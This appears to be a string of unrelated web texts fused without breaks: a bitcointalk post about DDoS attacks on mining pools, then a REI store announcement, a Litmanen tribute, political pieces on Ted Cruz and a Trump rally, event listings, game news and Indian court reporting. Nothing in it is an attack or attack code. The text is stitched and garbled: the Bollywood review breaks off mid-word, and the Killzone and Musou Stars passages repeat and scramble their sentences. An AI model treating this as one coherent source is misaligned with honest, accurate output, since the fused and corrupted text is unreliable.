[Temp]No Longer Being Attacked and/or using a work around like mitigation services
Code: Deepbit.net
https://bitcointalk.org/index.php?topic=3889.0
Slush's
https://bitcointalk.org/index.php?topic=1976.0
Edit:The pools are getting hit on and off, it's difficult to see which pool is actually being hit or not. I thought this might be a good idea keep some members in the loop on which pool is good to go, but apparently the pools are still getting hit on and off so I am closing & locking this thread.If a mod don't mind, this thread can be deleted.End of Edit:I created this thread to list the pools that are being attacked by DDOS, and the ones that are not being DDOS attacked.For the reason of this, I created an account over at bitcoins.lc, setup the miner, it would not connect, I'm not gonna create an account over at every pool to find out which ones that are not being attacked, I am sure others would not like to do that either. So if you already knowlist what you know. It will be easier on the community. Thank you.If you find an a pool that is working, and is in the Being Attacked section, please let me know, I will correct it.You may list the pools that are being attacked and that are not being attacked, I will update the OP with the given list's.Please submit name of the pool and URL link to the pool thread.Lets stay on topic pleaseOutdoor adventurers in Flagstaff, Ariz. and Columbus, Ohio will have new REI stores in their communities beginning Spring 2014.
“We’re excited to join communities that are magnets for those who love the outdoors,” said Rachel Ligtenberg, REI regional vice president. “Whether enjoying activities close-to-home or farther away at a national park, we look forward to preparing people for their outdoor adventures through great gear and knowledgeable staff.”
The stores will offer the top brands of gear and apparel for camping, climbing, cycling, fitness, hiking and travel. A bike shop will provide expert assembly and repair services, and a community space will host outdoor-related classes, presentations and events.
The 23,550 square-foot Flagstaff store will be located at Aspen Place at the Sawmill at the corner of Lone Tree Road and Butler Avenue. Part of the latest phase of development at the shopping center, the store will be near downtown Flagstaff and Northern Arizona University. With a presence in Arizona for more than 25 years, REI also has stores in Tempe, Paradise Valley and Tucson that opened in 1986, 1996, and 2010 respectively.
The Columbus store will open in Easton Gateway at the corner of Stelzer Road and Morse Road. The newly constructed 23,400 square-foot location will also feature a wide assortment of gear and apparel to help outfit boating enthusiasts. The company opened its first Ohio store in Cincinnati last October.
While anyone may shop with REI, the company is the nation’s largest consumer cooperative and has 5.1 million active members. REI members pay a one-time $20 fee and receive a share in REI’s profits through an annual member refund. Membership also includes discounts on gear rentals, REI Adventures trips and REI Outdoor School classes. There are more than 4,200 members in the Flagstaff area, and more than 5,100 in Columbus.
The company will hire approximately 50 new employees for each new store. Candidates can apply online at http://www.rei.com/jobs in early 2014. As part of REI’s benefits package, employees receive incentive pay, retirement contributions, healthcare benefits, generous product and service discounts, and more. For 16 consecutive years, REI has been recognized as one of FORTUNE magazine’s “100 Best Companies to Work For,” and is currently number 17 on the 2013 list.
REI’s mission is to inspire, educate and outfit its members and the community for a lifetime of outdoor adventure and stewardship. As part of its commitment, REI partners with nonprofit organizations that offer volunteer programs to restore and maintain local trails, parks and waterways partners that are meaningful to its members and customers.
Logo courtesy REI
What's Your Reaction?Once in a while your thoughts go back in time. Back to your club’s historic moments. Back to the successes, back to the moments that will live on forever, back to the fantastic players your club had. You lie if you say you never do.
Thinking about Ajax leads to thinking about the great names: Johan Cruijff, Piet Keizer, Ruud Krol, Johan Neeskens, Marco van Basten, Dennis Bergkamp, Frank Rijkaard, Frank and Ronald de Boer, Edwin van der Sar. All Dutch players but before many of them, I think of Jari Litmanen. The man of the goals, the assists, the threats, the brains and the lungs. Everyone knows who he is..
Born in the Land of Thousand Lakes, where ice hockey is the biggest sport, Jari saw the light on the 20st of February 1971. Torn between his two passions ice hockey and football, he chose the latter. The smell of grass above the sound of ice hockey skates scraping over the ice. I’m forever grateful he did. He first played for Reipas Lahti and moved to Mypa later. Trials at PSV, Leeds United and FC Barcelona among others followed before he knocked on Ajax’s door. Before Louis van Gaal was convinced the Fin was an addition and signed the Fin for just one million Dutch guldens, he almost send him back toFinland. Top scout Ton Pronk was the one who discovered Litmanen and brought him toAmsterdam. After his first trial, Louis van Gaal wanted to say goodbye. Assistant coach Gerard van der Lem (who liked Jari) told him: “It’s harsh to send him back, he’s only here for a few days in a totally new environment”. Van Gaal agreed and after a friendly against FC Den Bosch he told Pronk that Jari was staying in Amsterdam. Because of Dennis Bergkamp, Litmanen only played 12 games in his first season. When Dennis Bergkamp left for Internazionale, Van Gaal decided on Dan Peterson as Dennis’ successor. He did well but got injured, Litmanen took his place and never gave it back.
In the 93/94 season Ajax and Litmanen grabbed the title. Litmanen grew out to be Ajax’ new hero. He was the topscorer that year with 26 goals. And the fans rediscovered the song “Volare” and changed it in “Litmanen, oh ooh…Litmanen..ohohooooh”. He became Finnish and Dutch player of the year.
The 94/95 season was the most successful one that Jari Litmanen experienced atAjax. It was his best season at the club.Ajax grabbed the title again and the Champions League Cup. Litmanen would become the Sporter of the Year inFinland, the first time a football player won, instead of a hockey player. The end of that season would also mean Ajax sliding south. They won the Eredivisie title in ’96 and lost the Champions League title against Juventus but it was the end of an era. Top players like Davids, Reiziger, Kanu and Kluivert left. De Boer Bros left a tad later. Jari didn’t. Jari stayed. “The atmosphere at Ajax is more important than the money in Italy”. “I don’t think I’ll ever have a better life somewhere else than at Ajax, so I’m staying. I owe everything to Ajax, this is my way of letting them know”. Something that made him even a bigger hero.
His strengths are analyzed at length. He is cool in the box, nerves stay home when Jari plays. He’s got a nose for the right position and has all the skills and techniques for scoring. He can head a ball, chip, shoot hard, use curves, whatever… He is king of the assist, works hard for the team and can play on many positions. Litmanen had perfect ball control. Chest, head, thigh, feet – left or right – he could do it all. Wonderful technique but only deployed in service of the team. No Richard Witschge like gallery play, but functional. Jari also knew when to come and when to stay. Litmanen was midfielder, but knew exactly when to pick his moment to join the striker in the box. The Fin is the best no. 10 Ajax ever had. A perfect team player and a wonderful human being. Despite all the challenges on his feet, he never would retaliate and in his post-games analysis he always praised the team and thanked the fans.
In 1999, Jari Litmanen’s life at Ajax ended (before coming back in 2002) when he left the club for FC Barcelona after an emotional farewell. Unfortunately he would never be as good at the clubs that followed as he was at Ajax in the nineties. Injuries kept haunting him at Barcelona,Liverpool, Eintracht Frankfurt, Fulham etc. and the nickname ‘Man of Glass’ was born. Despite all the injuries, nothing can stop him from playing football. Nowadays, at the age of 40, he’s still a professional footballer playing for HJK Helsinki in Finland. The word ‘to retire’ can’t be found in his vocabulary.
He is one of the best players that has ever played for Ajax. The fans still love him to bits and he’ll forever live on in our memories. What a legend.
AdvertisementsJensen Ackles and Jared Padalecki were spotted filming Supernatural's final chapters of season 11 on Tuesday in Westminster, British Columbia, Canada. While it's not clear whether their interactions were on camera or between takes, the two costars hugged it out and smiled while hanging together on set. Also nearby was their other Supernatural bud Misha Collins. We're still a month off from the show's finale episode, but Jared and Jensen are also looking at the big picture. Recently, they revealed how they imagine the whole show would end, and the prospects are looking pretty bleak. We're just hoping we get tons more Supernatural set pictures until then. Keep reading to see the boys' latest set pictures, then check out where you can follow the whole cast on social media.https://www.rockislandauction.com/detail/72/2535/rare-cameron-yaggi-expermental-1903-springfield-trench-rifle
The Cameron-Yaggi conversion was an experimental American trench rifle that was never put into service. However, this one example has survived, and today we are going to put a few rounds through it.
The literature says that recoil is mild, and the periscope actually moves away form the shooter when fired. This is not the case. The periscope goes right back into the shooter's eye, because it has a very short eye relief. The periscope also provides a very narrow field of view, and I expect it would have been very difficult to actually use this contraption effectively in the fighting of World War One. That said, the device is sturdy and easy to use, unlike most of the other trench rifle adaptations I have seen.
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If you enjoy Forgotten Weapons, check out its sister channel, InRangeTV! http://www.youtube.com/InRangeTVShowSenator Ted Cruz, a Republican from Texas, gestures during the Iowa Ag Summit at the Iowa State Fairgrounds in Des Moines, Iowa, U.S., on Saturday, March 7, 2015. The event aims to highlight the role that agriculture plays in Iowa and the rest of the world. Photographer: Daniel Acker/Bloomberg via Getty Images
Sen. Ted Cruz (R-TX) is now apparently undecided how he'll buy insurance, backing away from his Obamacare announcement earlier in the week. Either way, Cruz is a master at what Al Franken used to call "weasel words" -- talking points that are carefully constructed to sound legitimate but really aren't at all. Come to think of it, Stephen Colbert famously referred to this sort of thing as "truthiness." Cruz is especially on his game when the topic of the complicated Affordable Care Act comes up because even top-shelf reporters don't quite grasp all of the ins and outs of Obamacare and, frankly, the administration hasn't been very strong at educating the public about what the law covers. And Cruz is exploiting every square mile of this supercolossal Obamacare ignorance gap.
For the last two days or so, Ted Cruz has repeatedly said that 1) as a member of the Senate, he's required to have an Obamacare policy, 2) in spite of this requirement he was on his wife's insurance policy until just recently, and 3) Congress is exempt from Obamacare because of an illegal move by the president. So, Obamacare is mandatory now, but it wasn't before, and it's actually not any more because of the allegedly "illegal" Obama exemption.
On Wednesday, Cruz sat down with a reporter from an outfit called The Daily Signal and delivered this troika of nonsense once again.
1) First, Cruz again described how for two years he's been on his wife's insurance -- not an apparently mandatory congressional Obamacare plan.
When I announced the campaign, my wife also decided to take an unpaid leave of absence from her job. We have been for the past couple of years covered on my wife's health insurance. When she took an unpaid leave of absence, it means that she's also losing her benefits. And so we're gonna do what anyone else would do, which is take their health insurance from their employer. So, in all likelihood, we'll go on the exchange.
2) After discussing so-called "Obama subsidies," Cruz then described why Obamacare is a requirement for members of Congress.
Iowa Senator Chuck Grassley introduced an amendment to Obamacare that said members of Congress have to be on the exchanges with no subsidies just like millions of Americans.
So, the "amendment" stipulates that members "have to be on the exchanges with no subsidies." When he first mentioned this to CNN's Dana Bash on Tuesday, he said it was "one of the great things about Obamacare." Then why is he still not on the exchange? It's because members of Congress really don't "have to" use Obamacare -- unless they choose employer-based health insurance from the government. If they do, the government's plan is now the Healthcare.gov exchange rather than the Federal Employees Health Benefit Program. If members and staffers don't want employer coverage, they can buy a plan directly from a provider or go without insurance. On top of all that, there's absolutely nothing in the Affordable Care Act that says Congress isn't permitted to receive subsidies or premium-sharing. Nothing. Cruz lied.
3) Next, even though he said he plans to follow the law (he hasn't for two years now, but okay) which he claims features an Obamacare requirement, he goes on to say that Congress doesn't have to use Obamacare after all because the White House carved out an exemption for Congress.
Now, Harry Reid and the Senate Democrats when this passed were horrified. They didn't wanna be under Obamacare. They went to Obama and said, "Give us a special exemption." And Barack Obama did, and his administration ignored the plain text of the statute and created an illegal exemption. I have no intention of using that illegal exemption. I'm gonna follow the law.
Inexplicably, he wants viewers to think Congress is no longer mandated to be on Obamacare (it never was) -- that Congress has an "illegal" waiver to get around Grassley's amendment. In fact, the spirit of Grassley's language is still intact and in effect. The "exemption" is, in reality, the Office of Personnel Management's decision to continue to cover 72 percent of the premium costs for Congress and its staffers -- just like both the government and private businesses alike always have. There was no "plain text of the statute" to ignore because, to repeat, there's nothing in the law that says Congress can't have a premium sharing employer benefit.
While we're here, let's get to the bottom of who lobbied the administration for this so-called "exemption." Politico reported that it was a collaboration between Harry Reid and Senate Democrat John Boehner. Wait. Boehner's not a Senate Democrat like Cruz said. He's the Republican Speaker of the House. It was a completely bipartisan move that included both the White House and congressional leaders. Let's clear another thing up. Grassley merely proposed an amendment that failed. The Democrats later resurrected and adapted the idea and wrote it into the body of the law. Grassley only deserves partial credit for the rule, since it was ultimately a Democratic decision.
More weasel words from Cruz:
So suddenly the media goes, "Hahahaha! Gotcha!" Because Cruz is now signing up for Obamacare. Listen, I have zero intention of take any government subsidy or Obama subsidy. Rather, what I'm gonna do is pay on the marketplace for health insurance for my family, just like millions of Americans.
Well, he won't get a subsidy because he earns significantly more than 400 percent of the Federal Poverty Level -- the upper limit to receive premium subsidies. Notice, though, that he didn't say "premium sharing" or "cost sharing" or "employer contribution." He said "subsidy." Why would he go on the Obamacare exchange, a politically dangerous move, other than for the better deal: comparable benefits and continued employer premium sharing, just like his wife's old plan? If he intends, on the other hand, to pay his premium dues entirely out-of-pocket without any premium sharing, why didn't he just enroll in COBRA through Goldman Sachs or buy insurance directly from a provider, sidestepping the political mess he's in? Obviously because he wants the premium sharing, which technically isn't a subsidy but rather a employee benefit -- just like millions of Americans receive through their employers.
It's one thing to abide by a law you don't like, which happens all the time, but it's another thing entirely to abide by a law you don't like even though you have numerous alternative options to choose from. Instead, he chose Obamacare, which he hates, and, worse, he clearly plans to accept the premium sharing "exemption" that he keeps saying was an illegal plot by the Senate Democrats. Why is he doing this? Because it's a fantastic deal and, financially, he'd be insane not to take it. Politically, however, it was a massive blunder. You know why the press is saying "gotcha!" right now? Because Cruz just blindly derped his way into a gigantic bear trap -- an unforced error -- and now he's trying to weasel out of it.Donald Trump Meets With Sheriff Clarke in Milwaukee; To Make Law and Order ‘Prompter’ Speech at Rally
Republican presidential nominee Donald Trump is in Wisconsin Tuesday evening with a busy schedule focused on the recent riots in Milwaukee following the fatal police shooting of armed Black criminal Sylville Smith. The Trump campaign put the word out that Trump will make a scripted speech on law and order at a rally Tuesday night in West Bend. Fox’s John Roberts reported the speech will also focus on improving the economic conditions of cities.
Trump's event in West Bend tonight will now be remarks about law and order and he will use a prompter, per a senior advisor. — Ali Vitali (@alivitali) August 16, 2016
Trump’s visit to Milwaukee, which includes a televised town hall meeting with Fox News Channel prime time host Sean Hannity, was planned before the shooting and subsequent riots.
Trump met with Milwaukee County Sheriff David Clarke and other law enforcement officials as well as veterans at the Milwaukee County War Memorial in the afternoon.
Donald Trump shakes hands with a man wearing a ‘Hillary for Prison 2016’ shirt in Milwaukee, image via Twitter.
Trump expected to meet with Milwaukee area veterans and law enforcement pic.twitter.com/nEtwrYMxU8 — Chris Snyder (@ChrisSnyderFox) August 16, 2016
“Trump expected to meet with Milwaukee area veterans and law enforcement”
Upon arrival, Trump is greeted by Milwaukee County @SheriffClarke pic.twitter.com/OTcPlqXmdW — Chris Snyder (@ChrisSnyderFox) August 16, 2016
“Upon arrival, Trump is greeted by Milwaukee County @SheriffClarke”
Trump speaking to veterans as he tours the memorial center in Milwaukee – Rudy Giuliani on site as well pic.twitter.com/FrcXIgGg1J — Chris Snyder (@ChrisSnyderFox) August 16, 2016
“Trump speaking to veterans as he tours the memorial center in Milwaukee – Rudy Giuliani on site as well”
Trump appears to sitting down for roundtable discussion with Giuliani, Clarke, others before press escorted out pic.twitter.com/wkMfJQQmbk — Chris Snyder (@ChrisSnyderFox) August 16, 2016
“Trump appears to sitting down for roundtable discussion with Giuliani, Clarke, others before press escorted out”
Trump meets with law enforcement in Milwaukee amid unrest, says violence will hurt investments. @MajorCBS is there pic.twitter.com/WKuwppaR22 — CBS Evening News (@CBSEveningNews) August 16, 2016
“Trump meets with law enforcement in Milwaukee amid unrest, says violence will hurt investments. @MajorCBS is there”
Trump will be at Milwaukee’s Pabst Theater for a town hall meeting with Sean Hannity. A few on scene photos of the packed house:
“Make America Great Again! #Hannity #Milwaukee”
“#Trump supporters love America. Liberals don’t. @realDonaldTrump #Hannity”
Trump Train @realDonaldTrump great place when as we do in Milwaukee they are serving cocktails and Miller Lite pic.twitter.com/83763gvDD5 — Pop-n-Docs (@popndocs) August 16, 2016
“Trump Train @realDonaldTrump great place when as we do in Milwaukee they are serving cocktails and Miller Lite”
And a few photos from the site of the West Bend rally at the Ziegler Building at the Washington County Fair Park & Conference Center:
Folks lining up four hours early to hear Donald Trump speak in West Bend, WI. #AmericaFirst #MAGA #OnlyTrump pic.twitter.com/xR6U3zzVyx — The TRUMP PAGE (@MichaelDelauzon) August 16, 2016
“Folks lining up four hours early to hear Donald Trump speak in West Bend, WI. #AmericaFirst #MAGA #OnlyTrump”
Doors Opened Now! Trump Supporters now entering Trump Rally site in West Bend, WI. pic.twitter.com/Z7Xce3RoJT — The TRUMP PAGE (@MichaelDelauzon) August 16, 2016
“Doors Opened Now! Trump Supporters now entering Trump Rally site in West Bend, WI.”
ESCORTED OUT! Woman wearing "F$&k Trump" shirt is escorted out of Trump Rally site in West Bend, WI. pic.twitter.com/xrGCKjSCVt — The TRUMP PAGE (@MichaelDelauzon) August 16, 2016
“ESCORTED OUT! Woman wearing “F$&k Trump” shirt is escorted out of Trump Rally site in West Bend, WI.”
Arena filling up for TRUMP RALLY in West Bend, WI. starts at 7:30pm Central Time. pic.twitter.com/6M4SocDYUh — The TRUMP PAGE (@MichaelDelauzon) August 16, 2016
“Arena filling up for TRUMP RALLY in West Bend, WI. starts at 7:30pm Central Time.”
ON MESSAGE: Looks like Paul Manafort won a battle, Mr Trump hates teleprompters but will use one tonight ;^) pic.twitter.com/wxlxvRKdL5 — The TRUMP PAGE (@MichaelDelauzon) August 16, 2016
“ON MESSAGE: Looks like Paul Manafort won a battle, Mr Trump hates teleprompters but will use one tonight ;^)”Discovering events and finding out about cool things to do in your community can be tough, sometimes a real pain the butt. Believe me, I know the pains all too well. Luckily for you, we’re here to help.
In fact, that’s actually why we built Brüha, to keep you connected to the many cool things that are happening within your community.
So here we go, here are some of the top events happening this February in Hamilton:
Date/Time: February 4th @ 6:30PM
Type of Event: Fashion
Location: CoMotion on King (115 King St East)
Admission: $10.00
Date/Time: February 4th-20th
Type of Event: Festival
Location: Multiple locations throughout Hamilton
Admission: Free & Paid events
Date/Time: February 7th @ 7:30PM
Type of Event: Trivia
Location: Lou Dawg’s Hamilton (116 George Street)
Admission: FREE!
Date/Time: February 10th @ 10PM
Type of Event: Music
Location: FirstOntario Centre (101 York Blvd)
Admission: Varies
Date/Time: February 10th – 11th
Type of Event: Festival
Location: Hamilton Convention Centre (1 Summers Lane)
Admission: $18 online ($25 at door)
Date/Time: February 11th @ 6PM
Type of Event: Party
Location: CoMotion on King (115 King St East)
Admission: FREE!
Date/Time: February 11th @ 7PM
Type of Event: Food & Drink
Location: Narula’s Banquet Hall (1162 Barton St East)
Admission: $25 – 350
Date/Time: February 12th @ 2PM
Type of Event: Social
Location: The Brew Café & Bar (22 Barton St East)
Admission: FREE!
Date/Time: February 6th, 13th, 20th, 27th (every Monday) @ 9:30PM
Type of Event: Comedy
Location: Gallagher’s (69 Augusta Street)
Admission: FREE!
Date/Time: February 18th at 8PM
Type of Event: Party
Location: Arts & Science Brewery (207 Burlington St)
Admission: $10.00
Date/Time: February 24th (Night 1) @ 7PM and February 25th (Night 2) @ 7PM
Type of Event: Food & Drink
Location: Nickel Brook Brewery (864 Drury Lane)
Admission: $75 (per night)
Date/Time: February 28th @ 11:30AM
Type of Event: Food & Drink
Location: Hamilton Convention Centre (1 Summers Lane)
Admission: $12.00
Did we miss any notable events happening this February in Hamilton? Send us a tweet at @BruhaExclusive to let us know. Also, don’t forget to list your upcoming events and sell tickets for those events at bruha.com.
About Brüha :
Brüha is a local entertainment discovery & ticketing provider changing the way people interact with their local community, discover events and purchase tickets. Buy and sell tickets for upcoming events using Brüha. With the implementation of IBM Bluemix cloud based technology, Brüha’s user experience and unique filtering capabilities make it easy to find specific categories, dates, admission price range, moods and even recommended listings. Whether you are a tourist visiting a new city or a local resident, Brüha provides a one-stop-shop that allows you to stay connected to your city.
Looking to increase awareness for your Venue, Organization, or your next Event? Head over to our website and get started today by creating your first listing!A bill aimed at ending bullying has passed in the Republican-controlled Michigan Senate, but ignited a somewhat emotional wave of criticism among Democrats, TIME's Swampland reports.
The staunch opposition stems from the fact that the law allows harassment by teachers and students as long as they can claim their actions are rooted in a "sincerely held religious belief or moral conviction." Those who truly believe homosexuality is wrong, for example, are free to torment classmates consequence-free.
On the floor, Senator Gretchen Whitmer gave a harsh criticism dripping with emotion, WWMT reported.
"You may be able to pat yourselves on the back today and say that you did something," she said. "But in actuality you are explicitly outlining how to get away with bullying," Whitmer said.
In her speech, Whitmer went on to outline the irony in naming the bill "Matt's Safe School Law," after a Michigan teen who committed suicide in 2002 from falling victim to bullying.
Matt's father Kevin Epling told the Detroit Free Press that the law makes him "ashamed" and called it "government-sanctioned bigotry."
The bill's sponsor Republican Sen. Rick Jones told the paper that while the motion "may not be perfect" he believes it's a step in the right direction.
WATCH Sen. Gretchen Whitmer's emotional response:A new report on extreme climate events in Europe is just published: ‘Extreme Weather Events in Europe: preparing for climate change adaptation‘. It was launched in Oslo on October 24th by the Norwegian Academy of Science and Letters, and the report is now available online.
What’s new? The new report provides information that is more specific to Europe than the SREX report from the Intergovernmental Panel on Climate Change (IPCC), and incorporate phenomena that have not been widely covered.
It provides some compelling information drawn from the insurance industry, and indeed, a representative from Munich Re participated in writing this report. There is also material on convective storms, hail, lightening, and cold snaps, and the report provides a background on extreme value statistics, risk analysis, impacts, and adaptation.
The main difference with the recent IPCC reports (e.g. the SREX) is the European focus and that it includes more recent results. The report writing process did not have to follow as rigid procedures as the IPCC, and hence the report is less constrained. For instance, it provides set of recommendations for policymakers, based entirely on scientific considerations.
The report, in which I have been involved, was initiated by the Norwegian Academy of Science and Letters, and was written by a committee of experts across Europe. Hence, the final report was published as a joint report by the Norwegian meteorological institute, the Norwegian Academy of Science and Letters, and the European Academies Science Advisory Council (EASAC)SahiNahi Blocked Unblock Follow Following Dec 11, 2016
At SahiNahi, we love Indian cinema. And every year, around this time, we do a postmortem of the best and the worst of Bollywood. We did it in 2014 and in 2015..but we’ve noticed a trend. We love crunching data, especially for films and reviews and actors and box office and everything around it. And our final conclusion is coming to… that the quality of Hindi films has been on the decline. These films below were not the worst of our productions. Just ones we expected a lot from and came home disappointed.
And this year has had some BIG disappointments.. films we thought and hoped would blow our minds away. And many of these from some of Bollywood’s best production houses and directors.
Below is the list of our biggest disappointments this year (thus far)
Fitoor (40%): How much hope did we have this this film? It looked gorgeous. Aditya Roy Kapur is one of our favorite new comers who has shown a lot of promise. And Katrina Kaif, despite sometimes being talent challenged has had the ability to surprise us. And then, the film released. And we were like, ‘this is it?’.
Fitoor (40% with 58 Critic Reviews)
The film despite its visuals, is just a massive let down. We expected better from Abhishek Kapoor especially when we LOVED his Kai Po Che! As Raja Sen of Rediff correctly points out, “ The director casts two attractive people where he ought have chosen a couple of actual actors instead, and thus it becomes hard to care about the protagonists or their sundered hearts, and despite aesthetic appeal, what we end up with is — at best — a screensaver”
Veerappan (39%): Ok, lets be honest. Although it is hard to remember, RGV actually made phenomenal films once. Yes, yes, we know — Satya released like um, 18 years ago. But still. We know, RGV, when he doesn’t sleep walk through his story sessions and gets too lost in his usually glitzy camerawork, can turn in a solid few hours of cinema.
Veerappan (39% with 31 Critic Reviews)
And we all were hoping that Veerappan would signal back to form to one of our favorite directors. Sadly, it wasn’t to be. The film starts with a lot of promise, but generally fizzles. We wholeheartedly agree with Martin D’Souza of Glam Sham that “ RGV loses the plot in the jungles…”
Ki & Ka (38%): Ok, we could forgive the name. Because you know, Kareena Kapoor Khan. She is a national treasure. Truly. And Arjun Kapoor can be fairly charming most days (except he was pretty unbearable in Gunday). But you know — cute pairing, urban self deprecating plot and hummable music.
Ki & Ka (38% with 40 Critic Reviews)
And the film was just a massive let down. It subverts what it sets out to do, to show the hypocrisy of our culture. Someone please go back, cast the two Kapoor’s and actually make something more watchable. Please. We couldn’t agree more with Ankush Bahuguna from Mens XP“ ‘Ki & Ka’ Is A Painfully Absurd Social Lecture That’s Best Avoided”
Jai Gangaajal (36%): Ok, what? How do we waste talent like that? Priyanka Chopra + Prakash Jha together sounded SOOO exciting. And it was bl |
.
Musou Stars will launch for PlayStation 4 and PS Vita in Japan on March 2, 2017, the latest issue of Weekly Famitsu reveals.
The magazine also confirms that Wang Yuanji from Dynasty Warriors, Horo from Toukiden, and Mitsunari Ishida from Samurai Warriors will be playable in the game. Three original characters—Tamaki, Setsuna, and Shiki—are also revealed.
As announced yesterday, Koei Tecmo will debut the first live gameplay of Musou Stars during a Famitsu live stream on Niconico this Thursday, December 1 at 21:30 Japan time.
Thanks, Famitsu.
Update 7:20 p.m.: The PlayStation 4 version of Musou Stars will cost 8,424 yen and the PS Vita version will cost 7,344 yen.
A Treasure Box limited edition including a soundtrack CD, visual book, school calendar, and steam cloth poster will be available on PlayStation 4 for 13,824 yen and on PS Vita for 12,744 yen.
Here are some details about the newly revealed characters:
Tamaki – The ruler of the next era of other world and the girl who was told the prophecy. She is the ringleader who summoned a hero to the other world. She fights using a “Flash Mirror” and specializes in long distance attacks.
– The ruler of the next era of other world and the girl who was told the prophecy. She is the ringleader who summoned a hero to the other world. She fights using a “Flash Mirror” and specializes in long distance attacks. Setsuna – The son of the long-reigning king and Shiki’s cousin. He calls himself the true heir to the throne. He fights using a “Heavenly Sword,” the light of which extends his reach.
– The son of the long-reigning king and Shiki’s cousin. He calls himself the true heir to the throne. He fights using a “Heavenly Sword,” the light of which extends his reach. Shiki – Tamaki’s older brother. Although he hinders Tamaki and Setsuna, his intentions are unknown. He fights using a floating ball called the “Moonlight Sphere.”
– Tamaki’s older brother. Although he hinders Tamaki and Setsuna, his intentions are unknown. He fights using a floating ball called the “Moonlight Sphere.” Horo (voiced by Haruka Terui) – She is from the Toukiden series and specializes in gun use. She can rapid-fire her gun and may also be able to fire beams.
(voiced by Haruka Terui) – She is from the Toukiden series and specializes in gun use. She can rapid-fire her gun and may also be able to fire beams. Wang Yuanji (voiced by Kanae Ito) – She is from the Dynasty Warriors series and can attack using many moves. She also has new actions, such as using her knives to bounce back other knives.
(voiced by Kanae Ito) – She is from the Dynasty Warriors series and can attack using many moves. She also has new actions, such as using her knives to bounce back other knives. Mitsunari Ishida (voiced by Eiji Takemoto) – He is from the Samurai Warriors series and can use his folding fan to make explosions.
The magazine also has new details about the game’s systems:
World Map – You can choose a battle to clear on the world map, and the story advances by clearing key battles, but there are also other battles such as “Hero Battles” where you gain more allies, “Dramatic Battles” where you fight against many heroes, and “Field Battles” where you freely fight.
– You can choose a battle to clear on the world map, and the story advances by clearing key battles, but there are also other battles such as “Hero Battles” where you gain more allies, “Dramatic Battles” where you fight against many heroes, and “Field Battles” where you freely fight. Hero Skills – The four characters that aren’t the player character can also use Hero Skills. The skills will act as support the player.
– The four characters that aren’t the player character can also use Hero Skills. The skills will act as support the player. Musou Fever – Musou Fever shines the spotlight on the character. The player’s ability increases, as does support from the four ally characters.
– Musou Fever shines the spotlight on the character. The player’s ability increases, as does support from the four ally characters. Friendship Levels – Each character has a Friendship Level. As this level increases, support attacks are more likely to be triggered and events will occur.
Thanks, [email protected].KillZone 3 Leaked Onto Torrents A Week Before Release By William Usher Random Article Blend KillZone 3 for the PS3 has appeared on torrent sites…all 41.4 gigabytes of it.
It’s insane to think that anyone would bother wasting that much bandwidth to get the game for free but pirates will be pirates. The PAL version of the game is currently up for grabs on torrent sites just a week before the game officially launches. This is yet another high profile game to get leaked, following in the footsteps of the pirated version of Crysis 2.
I imagine Sony and Guerrilla Games won’t be very pleased with the news but it’s highly unlikely that this will damage sales too much, considering that it’ll probably take most people a week to download the game and by time it’ll already be on store shelves.
KillZone 3 is set for release next Tuesday on February 22nd, exclusively for the PlayStation 3. You can learn more about the game by hitting up the I guess you have to give pirates a little bit of credit, just like everyone else they too apparently work weekends to steal games, while everyone else works weekends to buy them. Just a week before releasefor the PS3 has appeared on torrent sites…all 41.4 gigabytes of it.It’s insane to think that anyone would bother wasting that much bandwidth to get the game for free but pirates will be pirates. The PAL version of the game is currently up for grabs on torrent sites just a week before the game officially launches. This is yet another high profile game to get leaked, following in the footsteps of the pirated version ofI imagine Sony and Guerrilla Games won’t be very pleased with the news but it’s highly unlikely that this will damage sales too much, considering that it’ll probably take most people a week to download the game and by time it’ll already be on store shelves.is set for release next Tuesday on February 22nd, exclusively for the PlayStation 3. You can learn more about the game by hitting up the Official Website Blended From Around The Web Facebook
Back to topDetectives are appealing for the public's help to find a missing university student from Melbourne's east.
Tej Chitnis, 22, was last seen leaving his Burwood East house at 10am on Wednesday in his silver Volkswagen Golf.
Police have release images of missing person Tej Chitnis and his car.
He was expected home at 4pm but has not been seen or heard from since.
Sergeant Anthoula Moutis said Mr Chitnis usually drives to the Blackburn Railway station, parks his car in a nearby street and catches a train to university.
"Police have concerns for Tej as this behaviour is out of character," Sergeant Moutis said.
His 2005 VW Golf has also not been located.
Mr Chitnis is described as medium build, with dark hair and brown eyes.
Anyone with any information about Tej Chitnis disappearance is urged to contact Forest Hill Police Station on 8847 3636SC said that there was “considerable doubt” about the involvement of those charged under MCOCA. (Source: Express Photo)
In a big relief for Lt Col Prasad Shrikant Purohit, Sadhvi Pragya Singh Thakur and others in the 2008 Malegaon blast case, the Supreme Court on Wednesday said that there was no evidence to charge them under MCOCA at this stage and their bail could hence be examined on merit by a trial court.
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The order to consider their bail expeditiously came six and half years after the military intelligence officer and others were arrested and jailed in connection with the blast case
A bench of Justices FMI Kalifulla and Abhay Manohar Sapre said there was no concrete evidence to show their involvement in any other criminal case and the trial court should decide their bail plea on merit, preferably within one month.
[related-post]
It said that there was “considerable doubt” about the involvement of six accused, including Purohit and Pragya, in Malegaon blasts and that the trial court ought to hear their bail plea afresh.
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It said MCOCA was applicable only against one of the accused, Rakesh Dhawde, who was chargehseeted in two other cases as well.
The bench was hearing an appeal by the accused against invocation of the stringent Maharashtra Control of Organised Crimes Act (MCOCA) in the case.
MCOCA was restored in the case by the Bombay High Court in 2010 after a sessions court had revoked it. The prosecution has claimed that Pragya, Purohit and nine others were part of an organised crime syndicate and their involvement in at least two more cases prompted invocation of MCOCA.
The accused have however denied any involvement in the blast at Maharashtra’s Malegaon in September 2008 that killed six persons and injured several others.
They have also refuted being co-conspirators in any organised crime syndicate.
Purohit has already got bail in two cases under the Arms Act, but was denied interim bail in this case by the top court in 2012.
In his bail plea, Purohit claimed that he was a military intelligence officer who had succeeded in infiltrating several militant Muslim organisations such as the Students Islamic Movement of India (SIMI), which is proscribed, and that he was “falsely implicated” in the case by the Maharashtra Anti-Terrorism Squad (ATS) for “political reasons”.
He sought bail on the ground that no chargesheet had been filed yet by the National Investigation Agency (NIA) and hence, any trial would take several years. “He is a well-decorated officer in the Indian army.
However, NIA disputes this version and has previously opposed bail for him. NIA, which has taken over the probe from ATS, is yet to complete it because of a top court stay on interrogating Purohit under the MCOCA.
The agency claimed he did not keep his superiors in the loop about his activities related to the Abhinav Bharat Trust.
